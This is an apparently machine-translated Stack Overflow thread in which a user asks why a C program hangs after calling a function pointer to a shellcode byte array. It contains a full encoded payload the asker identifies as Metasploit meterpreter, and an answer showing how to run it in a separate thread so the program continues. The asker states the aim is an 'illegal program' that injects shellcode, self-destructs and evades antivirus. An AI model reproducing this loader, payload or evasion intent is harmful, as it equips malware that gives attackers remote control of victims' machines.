Программа C зависает / приостанавливается во время выполнения шеллкода

#include <stdio.h>
char shellcode[] = "some shellcode here";
int main (int argc, char **argv) {
    void (*sptr)();
    sptr = (void(*)()) (&shellcode);
    sptr();
    printf("must display this");
    return 0;
}

Во время работы программа выполняет sptr() и зависает, вероятно, из-за того, что шелл-код работает в памяти. printf("..") никогда не выполняется. Моя проблема в том, что я хочу, чтобы программа выполняла printf().

Пожалуйста помоги :)

Ответ Эрику Финну и Элвину Вонгу

Я изменил то, что вы оба указали, и я получил следующую ошибку:

Microsoft Windows [Версия 6.1.7600] Copyright (c) Microsoft Corporation, 2009 г. Все права защищены.

X:>"my program.exe" '»".¼' не распознается как внутренняя или внешняя команда, исполняемая программа или пакетный файл. должен отображать это

char шеллкод [] действителен. Я успешно скомпилировал его раньше.

Ниже приведен исходный код с вредоносным шелл-кодом, поэтому ваш антивирус должен его обнаружить, просто чтобы убедиться, что проблема не в шелл-коде:

#include <stdio.h>
#include <stdlib.h>

char shellcode[] = "\xda\xd3\xd9\x74\x24\xf4\xbd\xe9\x6d\xf8\x29\x58\x33\xc9\xb1"
"\x58\x31\x68\x18\x83\xe8\xfc\x03\x68\xfd\x8f\x0d\xd5\x15\xc6"
"\xee\x26\xe5\xb9\x67\xc3\xd4\xeb\x1c\x87\x44\x3c\x56\xc5\x64"
"\xb7\x3a\xfe\xff\xb5\x92\xf1\x48\x73\xc5\x3c\x49\xb5\xc9\x93"
"\x89\xd7\xb5\xe9\xdd\x37\x87\x21\x10\x39\xc0\x5c\xda\x6b\x99"
"\x2b\x48\x9c\xae\x6e\x50\x9d\x60\xe5\xe8\xe5\x05\x3a\x9c\x5f"
"\x07\x6b\x0c\xeb\x4f\x93\x27\xb3\x6f\xa2\xe4\xa7\x4c\xed\x81"
"\x1c\x26\xec\x43\x6d\xc7\xde\xab\x22\xf6\xee\x26\x3a\x3e\xc8"
"\xd8\x49\x34\x2a\x65\x4a\x8f\x50\xb1\xdf\x12\xf2\x32\x47\xf7"
"\x02\x97\x1e\x7c\x08\x5c\x54\xda\x0d\x63\xb9\x50\x29\xe8\x3c"
"\xb7\xbb\xaa\x1a\x13\xe7\x69\x02\x02\x4d\xdc\x3b\x54\x29\x81"
"\x99\x1e\xd8\xd6\x98\x7c\xb5\x46\xc0\x0a\x45\xfe\x7d\x9a\x2b"
"\x97\xd5\x34\xf8\x10\xf0\xc3\xff\x0b\xcd\x34\xa8\xe4\x79\x9c"
"\x3d\x0a\xd2\x4a\xf8\x5c\xa3\x2d\x03\xb5\xb8\x79\xa7\x04\xf6"
"\x2f\x06\x0c\x0b\x81\xf9\xb8\x5b\x21\xfa\x38\x0f\x71\x92\x6f"
"\x26\xee\xa4\x70\xed\xfa\x1d\xd7\x3f\x2f\x0f\x8f\x3f\xcd\x90"
"\xcb\x12\x83\x82\x82\xc0\x73\x4b\xcf\xb0\x5d\xb0\xf0\xee\x2b"
"\x00\x64\x01\x77\xbc\x87\x76\xd0\xe9\x20\x2f\xb6\x38\xc8\xd7"
"\x3d\xbc\x01\x62\x01\x37\xb3\x26\xf6\xa8\x28\x51\x1d\x81\x46"
"\x65\x1d\xed\x69\x45\x98\x22\xf8\xdf\x5c\x43\x6a\x10\xe9\xe1"
"\x3c\x2f\xc7\x8c\x80\xa7\xe8\x40\x00\x38\x81\x60\x00\x78\x51"
"\x36\x68\x20\xf5\xeb\x8d\x2f\x20\x98\x1e\x83\x42\x78\xf7\x4b"
"\x55\xa7\xf7\x8b\x06\xf1\x9f\x99\x3e\x74\xbd\x61\xeb\x02\x81"
"\xea\xd9\x86\x06\x12\x21\x1d\xc8\x61\x40\x46\x0b\x61\xef\x88"
"\x74\x8d\x9d\x1f\xe9\x00\x31\x93\x82\x82\xb9\x7d\x3f\x24\x2f"
"\x82";

int main (int argc, char **argv) {

void (*sptr)();
    sptr = (void(*)()) (&shellcode);
    sptr();
    printf("must display this"); // instead of more lines i put this one
    return 0;
}

приведенный выше код успешно компилируется и отлично работает

я изменил некоторые строки на системные (шеллкод). он компилируется, но не работает должным образом


person Naim Ibrahim    schedule 13.07.2012    source источник
comment
Что заставляет вас думать, что преобразование указателя на символы в указатель на функцию должно каким-то образом выполнять шелл-код??? C не так динамичен, как можно подумать.   -  person Sergey Kalinichenko    schedule 13.07.2012
comment
@dasblinkenlight Это определенно одна из самых интересных вещей, которые я видел в C. Мне также было бы интересно узнать, откуда взялась эта идея.   -  person Eric Finn    schedule 13.07.2012
comment
Возможно, shellcode[] - это машинный код, представленный в символе ASCII, вы не можете этого отрицать: P   -  person Alvin Wong    schedule 13.07.2012
comment
@AlvinWong Тогда у него довольно плохое имя переменной.   -  person Eric Finn    schedule 13.07.2012
comment
@AlvinWong О, вау... Ты был прав.   -  person Eric Finn    schedule 13.07.2012
comment
С вашим »".¼ у меня получается ret 0x22bb только в разобранном виде?   -  person Alvin Wong    schedule 13.07.2012
comment
Привет, действительно хочу посмотреть, что с ним произойдет, на мой взгляд, это одна из самых странных вещей, которые пробовали с C. Вы пытаетесь написать вирус или что-то в этом роде?   -  person Aftnix    schedule 13.07.2012
comment
«Ниже приведен исходный код с вредоносным шеллкодом, поэтому ваш антивирус должен его обнаружить» — хммм, думаю, я пропущу этот вариант ;)   -  person Dave Richardson    schedule 13.07.2012
comment
Итак, как точно вы сгенерировали шелл-код, потому что, когда я помещал сюда шестнадцатеричный код - onlinedisassembler.com/odaweb/run_hex - после удаления \x и кавычек это не выглядит осмысленным кодом x86.   -  person Roddy    schedule 13.07.2012
comment
@ Эрик, на самом деле, я подозреваю, что это «хорошее» имя переменной, но с возможностью путаницы ... en .wikipedia.org/wiki/Шеллкод   -  person Roddy    schedule 13.07.2012
comment
@ Родди О, интересно, я не слышал об этом раньше. Спасибо.   -  person Eric Finn    schedule 13.07.2012
comment
@Roddy, это шелл-код meterpreter из фреймворка metasploit.   -  person Naim Ibrahim    schedule 13.07.2012
comment
@ mnaim86 - я написал подробное объяснение того, как заставить это работать, но я предполагал, что вы работали над этим для образования или исследования. Прочитав эти комментарии, я удалил свой ответ. Я хотел бы иметь некоторую уверенность в том, что то, что вы делаете, этично!   -  person Kevin Vermeer    schedule 13.07.2012
comment
@ Кевин, это этично. шелл-код подключается к недопустимому хосту, вы можете это проверить. Я делаю это в образовательных целях. когда sptr() выполняется, строки ниже игнорируются навсегда. Я думаю о том, как вставить строку над sptr(), чтобы подождать минуту, затем выполнить sptr(), а затем выполнить строки под ней, несмотря ни на что. если у вас есть блестящая идея, пожалуйста, поделитесь с нами   -  person Naim Ibrahim    schedule 14.07.2012


Ответы (2)


Насколько я понимаю, вы хотите запустить какой-то "машинный код" (не шеллкод), и независимо от того, как работает код, он должен продолжать работу программы.

Это возможно, используя потоки.

Сначала добавьте сюда:

#include <windows.h>
#include <process.h>

И в вашем коде:

void (*sptr)(void*);                  // Type for `_beginthread`
sptr = (void(*)(void*)) (&shellcode); // PLEASE rename to `machinecode`
_beginthread(sptr,0,NULL);            // This starts your code in a new thread
Sleep(5000);                          // Wait for 5000 ms
printf("must display this");

Конечно, это не правильный способ многопоточного выполнения программы, но, поскольку ваш код представляет собой "машинный код", вам нечего делать.

P.S. Когда я пробую ваш код, он, наконец, достигает «Нарушения прав доступа» (ошибка сегментации) (и показывает диалоговое окно «x.exe столкнулся с проблемой»), и мой антивирус ничего не обнаружил (сделайте Мне нужно переключиться на другой??), поэтому вам может потребоваться просмотреть код или добавить обработчик исключений...

person Alvin Wong    schedule 14.07.2012
comment
Большое спасибо. Эта программа предназначена для исследовательских целей. Шелл-код — это полезная нагрузка интерпретатора для тестирования системы на проникновение. Ваш антивирус ничего не обнаружил, вероятно, потому что он был закодирован. Однако кодирование слабое, и у меня есть другой способ сделать его полностью незаметным для поставщиков AV. Я спросил, хочу ли я, чтобы код выполнял строки после sptr(), потому что я хочу, чтобы код уничтожил себя. Теперь, когда это работает, у меня есть незаконная программа, которая внедряет шелл-код в память и самоуничтожается. - person Naim Ibrahim; 14.07.2012

Хорошо, поскольку shellcode на самом деле является машинным кодом, а не кодом оболочки (согласно вашему последнему редактированию), ответ будет другим.

Когда вы объявляете char shellcode[], shellcode является указателем на ячейку памяти. Это означает, что вместо

sptr = (void(*)()) (&shellcode);

Вы должны иметь

sptr = (void(*)()) (shellcode);

Кроме того, вы хотите, чтобы код находился в исполняемой части вашего двоичного файла, а не в части данных двоичного файла. Это означает, что вы хотите char *shellcode = ..., а не char shellcode[] = ....

Кроме того, вы должны быть уверены, что shellcode является допустимой скомпилированной функцией C с тем же соглашением о вызовах, что и код, который ее вызывает.

person Eric Finn    schedule 13.07.2012
comment
Это ошибка, которую я получил: Microsoft Windows [Версия 6.1.7600] Copyright (c) 2009 Microsoft Corporation. Все права защищены. X:\›my program.exe '.¼' не распознается как внутренняя или внешняя команда, исполняемая программа или пакетный файл. должен отображать это - person Naim Ibrahim; 13.07.2012
comment
То же самое. Компилируется, работает нормально. Но все равно не печатаетf() - person Naim Ibrahim; 13.07.2012
comment
@ user554138 Хорошо, еще одно редактирование. Посмотрите, работает ли изменение объявления, как я сказал. - person Eric Finn; 13.07.2012
comment
@user554138 user554138 Думаю, нужно было бы скомпилировать и то, что у вас есть, и версию, в которой вы помещаете исходный код C функции, которую хотите выполнить, назначаете указатель функции на эту функцию и вызываете ее, а затем сравниваете результат двоичные файлы и следуйте пути выполнения, чтобы убедиться, что они делают одно и то же. - person Eric Finn; 13.07.2012
comment
к сожалению, я не могу скомпилировать оба кода. шеллкод - это результат работы программы - person Naim Ibrahim; 13.07.2012